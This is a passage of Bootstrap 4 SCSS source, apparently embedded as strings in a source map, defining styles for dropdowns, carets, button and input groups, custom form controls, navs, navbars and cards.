{\n display: block;\n padding: $dropdown-padding-y $dropdown-item-padding-x;\n margin-bottom: 0; // for use with heading elements\n font-size: $font-size-sm;\n color: $dropdown-header-color;\n white-space: nowrap; // as with > li > a\n}\n\n// Dropdown text\n.dropdown-item-text {\n display: block;\n padding: $dropdown-item-padding-y $dropdown-item-padding-x;\n color: $dropdown-link-color;\n}\n","@mixin caret-down {\n border-top: $caret-width solid;\n border-right: $caret-width solid transparent;\n border-bottom: 0;\n border-left: $caret-width solid transparent;\n}\n\n@mixin caret-up {\n border-top: 0;\n border-right: $caret-width solid transparent;\n border-bottom: $caret-width solid;\n border-left: $caret-width solid transparent;\n}\n\n@mixin caret-right {\n border-top: $caret-width solid transparent;\n border-right: 0;\n border-bottom: $caret-width solid transparent;\n border-left: $caret-width solid;\n}\n\n@mixin caret-left {\n border-top: $caret-width solid transparent;\n border-right: $caret-width solid;\n border-bottom: $caret-width solid transparent;\n}\n\n@mixin caret($direction: down) {\n @if $enable-caret {\n &::after {\n display: inline-block;\n width: 0;\n height: 0;\n margin-left: $caret-width * .85;\n vertical-align: $caret-width * .85;\n content: \"\";\n @if $direction == down {\n @include caret-down;\n } @else if $direction == up {\n @include caret-up;\n } @else if $direction == right {\n @include caret-right;\n }\n }\n\n @if $direction == left {\n &::after {\n display: none;\n }\n\n &::before {\n display: inline-block;\n width: 0;\n height: 0;\n margin-right: $caret-width * .85;\n vertical-align: $caret-width * .85;\n content: \"\";\n @include caret-left;\n }\n }\n\n &:empty::after {\n margin-left: 0;\n }\n }\n}\n","// Horizontal dividers\n//\n// Dividers (basically an hr) within dropdowns and nav lists\n\n@mixin nav-divider($color: $nav-divider-color, $margin-y: $nav-divider-margin-y) {\n height: 0;\n margin: $margin-y 0;\n overflow: hidden;\n border-top: 1px solid $color;\n}\n","// stylelint-disable selector-no-qualifying-type\n\n// Make the div behave like a button\n.btn-group,\n.btn-group-vertical {\n position: relative;\n display: inline-flex;\n vertical-align: middle; // match .btn alignment given font-size hack above\n\n > .btn {\n position: relative;\n flex: 0 1 auto;\n\n // Bring the hover, focused, and \"active\" buttons to the front to overlay\n // the borders properly\n @include hover {\n z-index: 1;\n }\n &:focus,\n &:active,\n &.active {\n z-index: 1;\n }\n }\n\n // Prevent double borders when buttons are next to each other\n .btn + .btn,\n .btn + .btn-group,\n .btn-group + .btn,\n .btn-group + .btn-group {\n margin-left: -$btn-border-width;\n }\n}\n\n// Optional: Group multiple button groups together for a toolbar\n.btn-toolbar {\n display: flex;\n flex-wrap: wrap;\n justify-content: flex-start;\n\n .input-group {\n width: auto;\n }\n}\n\n.btn-group {\n > .btn:first-child {\n margin-left: 0;\n }\n\n // Reset rounded corners\n > .btn:not(:last-child):not(.dropdown-toggle),\n > .btn-group:not(:last-child) > .btn {\n @include border-right-radius(0);\n }\n\n > .btn:not(:first-child),\n > .btn-group:not(:first-child) > .btn {\n @include border-left-radius(0);\n }\n}\n\n// Sizing\n//\n// Remix the default button sizing classes into new ones for easier manipulation.\n\n.btn-group-sm > .btn { @extend .btn-sm; }\n.btn-group-lg > .btn { @extend .btn-lg; }\n\n\n//\n// Split button dropdowns\n//\n\n.dropdown-toggle-split {\n padding-right: $btn-padding-x * .75;\n padding-left: $btn-padding-x * .75;\n\n &::after,\n .dropup &::after,\n .dropright &::after {\n margin-left: 0;\n }\n\n .dropleft &::before {\n margin-right: 0;\n }\n}\n\n.btn-sm + .dropdown-toggle-split {\n padding-right: $btn-padding-x-sm * .75;\n padding-left: $btn-padding-x-sm * .75;\n}\n\n.btn-lg + .dropdown-toggle-split {\n padding-right: $btn-padding-x-lg * .75;\n padding-left: $btn-padding-x-lg * .75;\n}\n\n\n// The clickable button for toggling the menu\n// Set the same inset shadow as the :active state\n.btn-group.show .dropdown-toggle {\n @include box-shadow($btn-active-box-shadow);\n\n // Show no shadow for `.btn-link` since it has no other button styles.\n &.btn-link {\n @include box-shadow(none);\n }\n}\n\n\n//\n// Vertical button groups\n//\n\n.btn-group-vertical {\n flex-direction: column;\n align-items: flex-start;\n justify-content: center;\n\n .btn,\n .btn-group {\n width: 100%;\n }\n\n > .btn + .btn,\n > .btn + .btn-group,\n > .btn-group + .btn,\n > .btn-group + .btn-group {\n margin-top: -$btn-border-width;\n margin-left: 0;\n }\n\n // Reset rounded corners\n > .btn:not(:last-child):not(.dropdown-toggle),\n > .btn-group:not(:last-child) > .btn {\n @include border-bottom-radius(0);\n }\n\n > .btn:not(:first-child),\n > .btn-group:not(:first-child) > .btn {\n @include border-top-radius(0);\n }\n}\n\n\n// Checkbox and radio options\n//\n// In order to support the browser's form validation feedback, powered by the\n// `required` attribute, we have to \"hide\" the inputs via `clip`. We cannot use\n// `display: none;` or `visibility: hidden;` as that also hides the popover.\n// Simply visually hiding the inputs via `opacity` would leave them clickable in\n// certain cases which is prevented by using `clip` and `pointer-events`.\n// This way, we ensure a DOM element is visible to position the popover from.\n//\n// See https://github.com/twbs/bootstrap/pull/12794 and\n// https://github.com/twbs/bootstrap/pull/14559 for more information.\n\n.btn-group-toggle {\n > .btn,\n > .btn-group > .btn {\n margin-bottom: 0; // Override default `<label>` value\n\n input[type=\"radio\"],\n input[type=\"checkbox\"] {\n position: absolute;\n clip: rect(0, 0, 0, 0);\n pointer-events: none;\n }\n }\n}\n","// stylelint-disable selector-no-qualifying-type\n\n//\n// Base styles\n//\n\n.input-group {\n position: relative;\n display: flex;\n flex-wrap: wrap; // For form validation feedback\n align-items: stretch;\n width: 100%;\n\n > .form-control,\n > .custom-select,\n > .custom-file {\n position: relative; // For focus state's z-index\n flex: 1 1 auto;\n // Add width 1% and flex-basis auto to ensure that button will not wrap out\n // the column. Applies to IE Edge+ and Firefox. Chrome does not require this.\n width: 1%;\n margin-bottom: 0;\n\n // Bring the \"active\" form control to the top of surrounding elements\n &:focus {\n z-index: 3;\n }\n\n + .form-control,\n + .custom-select,\n + .custom-file {\n margin-left: -$input-border-width;\n }\n }\n\n > .form-control,\n > .custom-select {\n &:not(:last-child) { @include border-right-radius(0); }\n &:not(:first-child) { @include border-left-radius(0); }\n }\n\n // Custom file inputs have more complex markup, thus requiring different\n // border-radius overrides.\n > .custom-file {\n display: flex;\n align-items: center;\n\n &:not(:last-child) .custom-file-label,\n &:not(:last-child) .custom-file-label::after { @include border-right-radius(0); }\n &:not(:first-child) .custom-file-label,\n &:not(:first-child) .custom-file-label::after { @include border-left-radius(0); }\n }\n}\n\n\n// Prepend and append\n//\n// While it requires one extra layer of HTML for each, dedicated prepend and\n// append elements allow us to 1) be less clever, 2) simplify our selectors, and\n// 3) support HTML5 form validation.\n\n.input-group-prepend,\n.input-group-append {\n display: flex;\n\n // Ensure buttons are always above inputs for more visually pleasing borders.\n // This isn't needed for `.input-group-text` since it shares the same border-color\n // as our inputs.\n .btn {\n position: relative;\n z-index: 2;\n }\n\n .btn + .btn,\n .btn + .input-group-text,\n .input-group-text + .input-group-text,\n .input-group-text + .btn {\n margin-left: -$input-border-width;\n }\n}\n\n.input-group-prepend { margin-right: -$input-border-width; }\n.input-group-append { margin-left: -$input-border-width; }\n\n\n// Textual addons\n//\n// Serves as a catch-all element for any text or radio/checkbox input you wish\n// to prepend or append to an input.\n\n.input-group-text {\n display: flex;\n align-items: center;\n padding: $input-padding-y $input-padding-x;\n margin-bottom: 0; // Allow use of <label> elements by overriding our default margin-bottom\n font-size: $font-size-base; // Match inputs\n font-weight: $font-weight-normal;\n line-height: $input-line-height;\n color: $input-group-addon-color;\n text-align: center;\n white-space: nowrap;\n background-color: $input-group-addon-bg;\n border: $input-border-width solid $input-group-addon-border-color;\n @include border-radius($input-border-radius);\n\n // Nuke default margins from checkboxes and radios to vertically center within.\n input[type=\"radio\"],\n input[type=\"checkbox\"] {\n margin-top: 0;\n }\n}\n\n\n// Sizing\n//\n// Remix the default form control sizing classes into new ones for easier\n// manipulation.\n\n.input-group-lg > .form-control,\n.input-group-lg > .input-group-prepend > .input-group-text,\n.input-group-lg > .input-group-append > .input-group-text,\n.input-group-lg > .input-group-prepend > .btn,\n.input-group-lg > .input-group-append > .btn {\n @extend .form-control-lg;\n}\n\n.input-group-sm > .form-control,\n.input-group-sm > .input-group-prepend > .input-group-text,\n.input-group-sm > .input-group-append > .input-group-text,\n.input-group-sm > .input-group-prepend > .btn,\n.input-group-sm > .input-group-append > .btn {\n @extend .form-control-sm;\n}\n\n\n// Prepend and append rounded corners\n//\n// These rulesets must come after the sizing ones to properly override sm and lg\n// border-radius values when extending. They're more specific than we'd like\n// with the `.input-group >` part, but without it, we cannot override the sizing.\n\n\n.input-group > .input-group-prepend > .btn,\n.input-group > .input-group-prepend > .input-group-text,\n.input-group > .input-group-append:not(:last-child) > .btn,\n.input-group > .input-group-append:not(:last-child) > .input-group-text,\n.input-group > .input-group-append:last-child > .btn:not(:last-child):not(.dropdown-toggle),\n.input-group > .input-group-append:last-child > .input-group-text:not(:last-child) {\n @include border-right-radius(0);\n}\n\n.input-group > .input-group-append > .btn,\n.input-group > .input-group-append > .input-group-text,\n.input-group > .input-group-prepend:not(:first-child) > .btn,\n.input-group > .input-group-prepend:not(:first-child) > .input-group-text,\n.input-group > .input-group-prepend:first-child > .btn:not(:first-child),\n.input-group > .input-group-prepend:first-child > .input-group-text:not(:first-child) {\n @include border-left-radius(0);\n}\n","// Embedded icons from Open Iconic.\n// Released under MIT and copyright 2014 Waybury.\n// https://useiconic.com/open\n\n\n// Checkboxes and radios\n//\n// Base class takes care of all the key behavioral aspects.\n\n.custom-control {\n position: relative;\n display: block;\n min-height: (1rem * $line-height-base);\n padding-left: $custom-control-gutter;\n}\n\n.custom-control-inline {\n display: inline-flex;\n margin-right: $custom-control-spacer-x;\n}\n\n.custom-control-input {\n position: absolute;\n z-index: -1; // Put the input behind the label so it doesn't overlay text\n opacity: 0;\n\n &:checked ~ .custom-control-label::before {\n color: $custom-control-indicator-checked-color;\n @include gradient-bg($custom-control-indicator-checked-bg);\n @include box-shadow($custom-control-indicator-checked-box-shadow);\n }\n\n &:focus ~ .custom-control-label::before {\n // the mixin is not used here to make sure there is feedback\n box-shadow: $custom-control-indicator-focus-box-shadow;\n }\n\n &:active ~ .custom-control-label::before {\n color: $custom-control-indicator-active-color;\n background-color: $custom-control-indicator-active-bg;\n @include box-shadow($custom-control-indicator-active-box-shadow);\n }\n\n &:disabled {\n ~ .custom-control-label {\n color: $custom-control-label-disabled-color;\n\n &::before {\n background-color: $custom-control-indicator-disabled-bg;\n }\n }\n }\n}\n\n// Custom control indicators\n//\n// Build the custom controls out of psuedo-elements.\n\n.custom-control-label {\n margin-bottom: 0;\n\n // Background-color and (when enabled) gradient\n &::before {\n position: absolute;\n top: (($line-height-base - $custom-control-indicator-size) / 2);\n left: 0;\n display: block;\n width: $custom-control-indicator-size;\n height: $custom-control-indicator-size;\n pointer-events: none;\n content: \"\";\n user-select: none;\n background-color: $custom-control-indicator-bg;\n @include box-shadow($custom-control-indicator-box-shadow);\n }\n\n // Foreground (icon)\n &::after {\n position: absolute;\n top: (($line-height-base - $custom-control-indicator-size) / 2);\n left: 0;\n display: block;\n width: $custom-control-indicator-size;\n height: $custom-control-indicator-size;\n content: \"\";\n background-repeat: no-repeat;\n background-position: center center;\n background-size: $custom-control-indicator-bg-size;\n }\n}\n\n\n// Checkboxes\n//\n// Tweak just a few things for checkboxes.\n\n.custom-checkbox {\n .custom-control-label::before {\n @include border-radius($custom-checkbox-indicator-border-radius);\n }\n\n .custom-control-input:checked ~ .custom-control-label {\n &::before {\n @include gradient-bg($custom-control-indicator-checked-bg);\n }\n &::after {\n background-image: $custom-checkbox-indicator-icon-checked;\n }\n }\n\n .custom-control-input:indeterminate ~ .custom-control-label {\n &::before {\n @include gradient-bg($custom-checkbox-indicator-indeterminate-bg);\n @include box-shadow($custom-checkbox-indicator-indeterminate-box-shadow);\n }\n &::after {\n background-image: $custom-checkbox-indicator-icon-indeterminate;\n }\n }\n\n .custom-control-input:disabled {\n &:checked ~ .custom-control-label::before {\n background-color: $custom-control-indicator-checked-disabled-bg;\n }\n &:indeterminate ~ .custom-control-label::before {\n background-color: $custom-control-indicator-checked-disabled-bg;\n }\n }\n}\n\n// Radios\n//\n// Tweak just a few things for radios.\n\n.custom-radio {\n .custom-control-label::before {\n border-radius: $custom-radio-indicator-border-radius;\n }\n\n .custom-control-input:checked ~ .custom-control-label {\n &::before {\n @include gradient-bg($custom-control-indicator-checked-bg);\n }\n &::after {\n background-image: $custom-radio-indicator-icon-checked;\n }\n }\n\n .custom-control-input:disabled {\n &:checked ~ .custom-control-label::before {\n background-color: $custom-control-indicator-checked-disabled-bg;\n }\n }\n}\n\n\n// Select\n//\n// Replaces the browser default select with a custom one, mostly pulled from\n// https://primer.github.io/.\n//\n\n.custom-select {\n display: inline-block;\n width: 100%;\n height: $custom-select-height;\n padding: $custom-select-padding-y ($custom-select-padding-x + $custom-select-indicator-padding) $custom-select-padding-y $custom-select-padding-x;\n line-height: $custom-select-line-height;\n color: $custom-select-color;\n vertical-align: middle;\n background: $custom-select-bg $custom-select-indicator no-repeat right $custom-select-padding-x center;\n background-size: $custom-select-bg-size;\n border: $custom-select-border-width solid $custom-select-border-color;\n @if $enable-rounded {\n border-radius: $custom-select-border-radius;\n } @else {\n border-radius: 0;\n }\n appearance: none;\n\n &:focus {\n border-color: $custom-select-focus-border-color;\n outline: 0;\n box-shadow: $custom-select-focus-box-shadow;\n\n &::-ms-value {\n // For visual consistency with other platforms/browsers,\n // suppress the default white text on blue background highlight given to\n // the selected option text when the (still closed) <select> receives focus\n // in IE and (under certain conditions) Edge.\n // See https://github.com/twbs/bootstrap/issues/19398.\n color: $input-color;\n background-color: $input-bg;\n }\n }\n\n &[multiple],\n &[size]:not([size=\"1\"]) {\n height: auto;\n padding-right: $custom-select-padding-x;\n background-image: none;\n }\n\n &:disabled {\n color: $custom-select-disabled-color;\n background-color: $custom-select-disabled-bg;\n }\n\n // Hides the default caret in IE11\n &::-ms-expand {\n opacity: 0;\n }\n}\n\n.custom-select-sm {\n height: $custom-select-height-sm;\n padding-top: $custom-select-padding-y;\n padding-bottom: $custom-select-padding-y;\n font-size: $custom-select-font-size-sm;\n}\n\n.custom-select-lg {\n height: $custom-select-height-lg;\n padding-top: $custom-select-padding-y;\n padding-bottom: $custom-select-padding-y;\n font-size: $custom-select-font-size-lg;\n}\n\n\n// File\n//\n// Custom file input.\n\n.custom-file {\n position: relative;\n display: inline-block;\n width: 100%;\n height: $custom-file-height;\n margin-bottom: 0;\n}\n\n.custom-file-input {\n position: relative;\n z-index: 2;\n width: 100%;\n height: $custom-file-height;\n margin: 0;\n opacity: 0;\n\n &:focus ~ .custom-file-label {\n border-color: $custom-file-focus-border-color;\n box-shadow: $custom-file-focus-box-shadow;\n\n &::after {\n border-color: $custom-file-focus-border-color;\n }\n }\n\n @each $lang, $value in $custom-file-text {\n &:lang(#{$lang}) ~ .custom-file-label::after {\n content: $value;\n }\n }\n}\n\n.custom-file-label {\n position: absolute;\n top: 0;\n right: 0;\n left: 0;\n z-index: 1;\n height: $custom-file-height;\n padding: $custom-file-padding-y $custom-file-padding-x;\n line-height: $custom-file-line-height;\n color: $custom-file-color;\n background-color: $custom-file-bg;\n border: $custom-file-border-width solid $custom-file-border-color;\n @include border-radius($custom-file-border-radius);\n @include box-shadow($custom-file-box-shadow);\n\n &::after {\n position: absolute;\n top: 0;\n right: 0;\n bottom: 0;\n z-index: 3;\n display: block;\n height: calc(#{$custom-file-height} - #{$custom-file-border-width} * 2);\n padding: $custom-file-padding-y $custom-file-padding-x;\n line-height: $custom-file-line-height;\n color: $custom-file-button-color;\n content: \"Browse\";\n @include gradient-bg($custom-file-button-bg);\n border-left: $custom-file-border-width solid $custom-file-border-color;\n @include border-radius(0 $custom-file-border-radius $custom-file-border-radius 0);\n }\n}\n\n// Range\n//\n// Style range inputs the same across browsers. Vendor-specific rules for psuedo\n// elements cannot be mixed. As such, there are no shared styles for focus or\n// active states on prefixed selectors.\n\n.custom-range {\n width: 100%;\n padding-left: 0; // Firefox specific\n background-color: transparent;\n appearance: none;\n\n &:focus {\n outline: none;\n }\n\n &::-moz-focus-outer {\n border: 0;\n }\n\n &::-webkit-slider-thumb {\n width: $custom-range-thumb-width;\n height: $custom-range-thumb-height;\n margin-top: -($custom-range-thumb-width * .25); // Webkit specific?\n @include gradient-bg($custom-range-thumb-bg);\n border: $custom-range-thumb-border;\n @include border-radius($custom-range-thumb-border-radius);\n @include box-shadow($custom-range-thumb-box-shadow);\n appearance: none;\n\n &:focus {\n outline: none;\n box-shadow: $custom-range-thumb-focus-box-shadow; // No mixin for focus accessibility\n }\n\n &:active {\n @include gradient-bg($custom-range-thumb-active-bg);\n }\n }\n\n &::-webkit-slider-runnable-track {\n width: $custom-range-track-width;\n height: $custom-range-track-height;\n color: transparent; // Why?\n cursor: $custom-range-track-cursor;\n background-color: $custom-range-track-bg;\n border-color: transparent;\n @include border-radius($custom-range-track-border-radius);\n @include box-shadow($custom-range-track-box-shadow);\n }\n\n &::-moz-range-thumb {\n width: $custom-range-thumb-width;\n height: $custom-range-thumb-height;\n @include gradient-bg($custom-range-thumb-bg);\n border: $custom-range-thumb-border;\n @include border-radius($custom-range-thumb-border-radius);\n @include box-shadow($custom-range-thumb-box-shadow);\n appearance: none;\n\n &:focus {\n outline: none;\n box-shadow: $custom-range-thumb-focus-box-shadow; // No mixin for focus accessibility\n }\n\n &:active {\n @include gradient-bg($custom-range-thumb-active-bg);\n }\n }\n\n &::-moz-range-track {\n width: $custom-range-track-width;\n height: $custom-range-track-height;\n color: transparent;\n cursor: $custom-range-track-cursor;\n background-color: $custom-range-track-bg;\n border-color: transparent; // Firefox specific?\n @include border-radius($custom-range-track-border-radius);\n @include box-shadow($custom-range-track-box-shadow);\n }\n\n &::-ms-thumb {\n width: $custom-range-thumb-width;\n height: $custom-range-thumb-height;\n @include gradient-bg($custom-range-thumb-bg);\n border: $custom-range-thumb-border;\n @include border-radius($custom-range-thumb-border-radius);\n @include box-shadow($custom-range-thumb-box-shadow);\n appearance: none;\n\n &:focus {\n outline: none;\n box-shadow: $custom-range-thumb-focus-box-shadow; // No mixin for focus accessibility\n }\n\n &:active {\n @include gradient-bg($custom-range-thumb-active-bg);\n }\n }\n\n &::-ms-track {\n width: $custom-range-track-width;\n height: $custom-range-track-height;\n color: transparent;\n cursor: $custom-range-track-cursor;\n background-color: transparent;\n border-color: transparent;\n border-width: ($custom-range-thumb-height * .5);\n @include box-shadow($custom-range-track-box-shadow);\n }\n\n &::-ms-fill-lower {\n background-color: $custom-range-track-bg;\n @include border-radius($custom-range-track-border-radius);\n }\n\n &::-ms-fill-upper {\n margin-right: 15px; // arbitrary?\n background-color: $custom-range-track-bg;\n @include border-radius($custom-range-track-border-radius);\n }\n}\n","// Base class\n//\n// Kickstart any navigation component with a set of style resets. Works with\n// `<nav>`s or `<ul>`s.\n\n.nav {\n display: flex;\n flex-wrap: wrap;\n padding-left: 0;\n margin-bottom: 0;\n list-style: none;\n}\n\n.nav-link {\n display: block;\n padding: $nav-link-padding-y $nav-link-padding-x;\n\n @include hover-focus {\n text-decoration: none;\n }\n\n // Disabled state lightens text\n &.disabled {\n color: $nav-link-disabled-color;\n }\n}\n\n//\n// Tabs\n//\n\n.nav-tabs {\n border-bottom: $nav-tabs-border-width solid $nav-tabs-border-color;\n\n .nav-item {\n margin-bottom: -$nav-tabs-border-width;\n }\n\n .nav-link {\n border: $nav-tabs-border-width solid transparent;\n @include border-top-radius($nav-tabs-border-radius);\n\n @include hover-focus {\n border-color: $nav-tabs-link-hover-border-color;\n }\n\n &.disabled {\n color: $nav-link-disabled-color;\n background-color: transparent;\n border-color: transparent;\n }\n }\n\n .nav-link.active,\n .nav-item.show .nav-link {\n color: $nav-tabs-link-active-color;\n background-color: $nav-tabs-link-active-bg;\n border-color: $nav-tabs-link-active-border-color;\n }\n\n .dropdown-menu {\n // Make dropdown border overlap tab border\n margin-top: -$nav-tabs-border-width;\n // Remove the top rounded corners here since there is a hard edge above the menu\n @include border-top-radius(0);\n }\n}\n\n\n//\n// Pills\n//\n\n.nav-pills {\n .nav-link {\n @include border-radius($nav-pills-border-radius);\n }\n\n .nav-link.active,\n .show > .nav-link {\n color: $nav-pills-link-active-color;\n background-color: $nav-pills-link-active-bg;\n }\n}\n\n\n//\n// Justified variants\n//\n\n.nav-fill {\n .nav-item {\n flex: 1 1 auto;\n text-align: center;\n }\n}\n\n.nav-justified {\n .nav-item {\n flex-basis: 0;\n flex-grow: 1;\n text-align: center;\n }\n}\n\n\n// Tabbable tabs\n//\n// Hide tabbable panes to start, show them when `.active`\n\n.tab-content {\n > .tab-pane {\n display: none;\n }\n > .active {\n display: block;\n }\n}\n","// Contents\n//\n// Navbar\n// Navbar brand\n// Navbar nav\n// Navbar text\n// Navbar divider\n// Responsive navbar\n// Navbar position\n// Navbar themes\n\n\n// Navbar\n//\n// Provide a static navbar from which we expand to create full-width, fixed, and\n// other navbar variations.\n\n.navbar {\n position: relative;\n display: flex;\n flex-wrap: wrap; // allow us to do the line break for collapsing content\n align-items: center;\n justify-content: space-between; // space out brand from logo\n padding: $navbar-padding-y $navbar-padding-x;\n\n // Because flex properties aren't inherited, we need to redeclare these first\n // few properities so that content nested within behave properly.\n > .container,\n > .container-fluid {\n display: flex;\n flex-wrap: wrap;\n align-items: center;\n justify-content: space-between;\n }\n}\n\n\n// Navbar brand\n//\n// Used for brand, project, or site names.\n\n.navbar-brand {\n display: inline-block;\n padding-top: $navbar-brand-padding-y;\n padding-bottom: $navbar-brand-padding-y;\n margin-right: $navbar-padding-x;\n font-size: $navbar-brand-font-size;\n line-height: inherit;\n white-space: nowrap;\n\n @include hover-focus {\n text-decoration: none;\n }\n}\n\n\n// Navbar nav\n//\n// Custom navbar navigation (doesn't require `.nav`, but does make use of `.nav-link`).\n\n.navbar-nav {\n display: flex;\n flex-direction: column; // cannot use `inherit` to get the `.navbar`s value\n padding-left: 0;\n margin-bottom: 0;\n list-style: none;\n\n .nav-link {\n padding-right: 0;\n padding-left: 0;\n }\n\n .dropdown-menu {\n position: static;\n float: none;\n }\n}\n\n\n// Navbar text\n//\n//\n\n.navbar-text {\n display: inline-block;\n padding-top: $nav-link-padding-y;\n padding-bottom: $nav-link-padding-y;\n}\n\n\n// Responsive navbar\n//\n// Custom styles for responsive collapsing and toggling of navbar contents.\n// Powered by the collapse Bootstrap JavaScript plugin.\n\n// When collapsed, prevent the toggleable navbar contents from appearing in\n// the default flexbox row orienation. Requires the use of `flex-wrap: wrap`\n// on the `.navbar` parent.\n.navbar-collapse {\n flex-basis: 100%;\n flex-grow: 1;\n // For always expanded or extra full navbars, ensure content aligns itself\n // properly vertically. Can be easily overridden with flex utilities.\n align-items: center;\n}\n\n// Button for toggling the navbar when in its collapsed state\n.navbar-toggler {\n padding: $navbar-toggler-padding-y $navbar-toggler-padding-x;\n font-size: $navbar-toggler-font-size;\n line-height: 1;\n background-color: transparent; // remove default button style\n border: $border-width solid transparent; // remove default button style\n @include border-radius($navbar-toggler-border-radius);\n\n @include hover-focus {\n text-decoration: none;\n }\n\n // Opinionated: add \"hand\" cursor to non-disabled .navbar-toggler elements\n &:not(:disabled):not(.disabled) {\n cursor: pointer;\n }\n}\n\n// Keep as a separate element so folks can easily override it with another icon\n// or image file as needed.\n.navbar-toggler-icon {\n display: inline-block;\n width: 1.5em;\n height: 1.5em;\n vertical-align: middle;\n content: \"\";\n background: no-repeat center center;\n background-size: 100% 100%;\n}\n\n// Generate series of `.navbar-expand-*` responsive classes for configuring\n// where your navbar collapses.\n.navbar-expand {\n @each $breakpoint in map-keys($grid-breakpoints) {\n $next: breakpoint-next($breakpoint, $grid-breakpoints);\n $infix: breakpoint-infix($next, $grid-breakpoints);\n\n &#{$infix} {\n @include media-breakpoint-down($breakpoint) {\n > .container,\n > .container-fluid {\n padding-right: 0;\n padding-left: 0;\n }\n }\n\n @include media-breakpoint-up($next) {\n flex-flow: row nowrap;\n justify-content: flex-start;\n\n .navbar-nav {\n flex-direction: row;\n\n .dropdown-menu {\n position: absolute;\n }\n\n .nav-link {\n padding-right: $navbar-nav-link-padding-x;\n padding-left: $navbar-nav-link-padding-x;\n }\n }\n\n // For nesting containers, have to redeclare for alignment purposes\n > .container,\n > .container-fluid {\n flex-wrap: nowrap;\n }\n\n .navbar-collapse {\n display: flex !important; // stylelint-disable-line declaration-no-important\n\n // Changes flex-bases to auto because of an IE10 bug\n flex-basis: auto;\n }\n\n .navbar-toggler {\n display: none;\n }\n }\n }\n }\n}\n\n\n// Navbar themes\n//\n// Styles for switching between navbars with light or dark background.\n\n// Dark links against a light background\n.navbar-light {\n .navbar-brand {\n color: $navbar-light-active-color;\n\n @include hover-focus {\n color: $navbar-light-active-color;\n }\n }\n\n .navbar-nav {\n .nav-link {\n color: $navbar-light-color;\n\n @include hover-focus {\n color: $navbar-light-hover-color;\n }\n\n &.disabled {\n color: $navbar-light-disabled-color;\n }\n }\n\n .show > .nav-link,\n .active > .nav-link,\n .nav-link.show,\n .nav-link.active {\n color: $navbar-light-active-color;\n }\n }\n\n .navbar-toggler {\n color: $navbar-light-color;\n border-color: $navbar-light-toggler-border-color;\n }\n\n .navbar-toggler-icon {\n background-image: $navbar-light-toggler-icon-bg;\n }\n\n .navbar-text {\n color: $navbar-light-color;\n a {\n color: $navbar-light-active-color;\n\n @include hover-focus {\n color: $navbar-light-active-color;\n }\n }\n }\n}\n\n// White links against a dark background\n.navbar-dark {\n .navbar-brand {\n color: $navbar-dark-active-color;\n\n @include hover-focus {\n color: $navbar-dark-active-color;\n }\n }\n\n .navbar-nav {\n .nav-link {\n color: $navbar-dark-color;\n\n @include hover-focus {\n color: $navbar-dark-hover-color;\n }\n\n &.disabled {\n color: $navbar-dark-disabled-color;\n }\n }\n\n .show > .nav-link,\n .active > .nav-link,\n .nav-link.show,\n .nav-link.active {\n color: $navbar-dark-active-color;\n }\n }\n\n .navbar-toggler {\n color: $navbar-dark-color;\n border-color: $navbar-dark-toggler-border-color;\n }\n\n .navbar-toggler-icon {\n background-image: $navbar-dark-toggler-icon-bg;\n }\n\n .navbar-text {\n color: $navbar-dark-color;\n a {\n color: $navbar-dark-active-color;\n\n @include hover-focus {\n color: $navbar-dark-active-color;\n }\n }\n }\n}\n","//\n// Base styles\n//\n\n.card {\n position: relative;\n display: flex;\n flex-direction: column;\n min-width: 0;\n word-wrap: break-word;\n background-color: $card-bg;\n background-clip: border-box;\n border: $card-border-width solid $card-border-color;\n @include border-radius($card-border-radius);\n\n > hr {\n margin-right: 0;\n margin-left: 0;\n }\n\n > .list-group:first-child {\n .list-group-item:first-child {\n @include border-top-radius($card-border-radius);\n }\n }\n\n > .list-group:last-child {\n .list-group-item:last-child {\n @include border-bottom-radius($card-border-radius);\n }\n }\n}\n\n.card-body {\n // Enable `flex-grow: 1` for decks and groups so that card blocks take up\n // as much space as possible, ensuring footers are aligned to the bottom.\n flex: 1 1 auto;\n padding: $card-spacer-x;\n}\n\n.card-title {\n margin-bottom: $card-spacer-y;\n}\n\n.card-subtitle {\n margin-top: -($card-spacer-y / 2);\n margin-bottom: 0;\n}\n\n.card-text:last-child {\n margin-bottom: 0;\n}\n\n.card-link {\n @include hover {\n text-decoration: none;\n }\n\n + .card-link {\n margin-left: $card-spacer-x;\n }\n}\n\n//\n// Optional textual caps\n//\n\n.card-header {\n padding: $card-spacer-y $card-spacer-x;\n margin-bottom: 0; // Removes the default margin-bottom of <hN>\n background-color: $card-cap-bg;\n border-bottom: $card-border-width solid $card-border-color;\n\n &:first-child {\n @include border-radius($card-inner-border-radius $card-inner-border-radius 0 0);\n }\n\n + .list-group {\n .list-group-item:first-child {\n border-top: 0;\n }\n }\n}\n\n.card-footer {\n padding: $card-spacer-y $card-spacer-x;\n background-color: $card-cap-bg;\n border-top: $card-border-width solid $card-border-color;\n\n &:last-child {\n @include border-radius(0 0 $card-inner-border-radius $card-inner-border-radius);\n }\n}\n\n\n//\n// Header navs\n//\n\n.card-header-tabs {\n margin-right: -($card-spacer-x / 2);\n margin-bottom: -$card-spacer-y;\n margin-left: -($card-spacer-x / 2);\n border-bottom: 0;\n}\n\n.card-header-pills {\n margin-right: -($card-spacer-x / 2);\n margin-left: -($card-spacer-x / 2);\n}\n\n// Card image\n.card-img-overlay {\n position: absolute;\n top: 0;\n right: 0;\n bottom: 0;\n left: 0;\n padding: $card-img-overlay-padding;\n}\n\n.card-img {\n width: 100%; // Required because we use flexbox and this inherently applies align-self: stretch\n @include border-radius($card-inner-border-radius);\n}\n\n// Card image caps\n.card-img-top {\n width: 100%; // Required because we use flexbox and this inherently applies align-self: stretch\n @include border-top-radius($card-inner-border-radius);\n}\n\n.card-img-bottom {\n width: 100%; // Required because we use flexbox and this inherently applies align-self: stretch\n @include border-bottom-radius($card-inner-border-radius);\n}\n\n\n// Card deck\n\n.card-deck {\n display: flex;\n flex-direction: column;\n\n .card {\n margin-bottom: $card-deck-margin;\n }\n\n @include media-breakpoint-up(sm) {\n flex-flow: row wrap;\n margin-right: -$card-deck-margin;\n margin-left: -$card-deck-margin;\n\n .card {\n display: flex;\n // Flexbugs #4: https://github.com/philipwalton/flexbugs#flexbug-4\n flex: 1 0 0%;\n flex-direction: column;\n margin-right: $card-deck-margin;\n margin-bottom: 0; // Override the default\n margin-left: $card-deck-margin;\n }\n }\n}\n\n\n//\n// Card groups\n//\n\n.card-group {\n display: flex;\n flex-direction: column;\n\n // The child selector allows nested `.card` within `.card-group`\n // to display properly.\n > .card {\n margin-bottom: $card-group-margin;\n }\n\n @include media-breakpoint-up(sm) {\n flex-flow: row wrap;\n // The child selector allows nested `.card` within `.card-group`\n // to display properly.\n > .card {\n 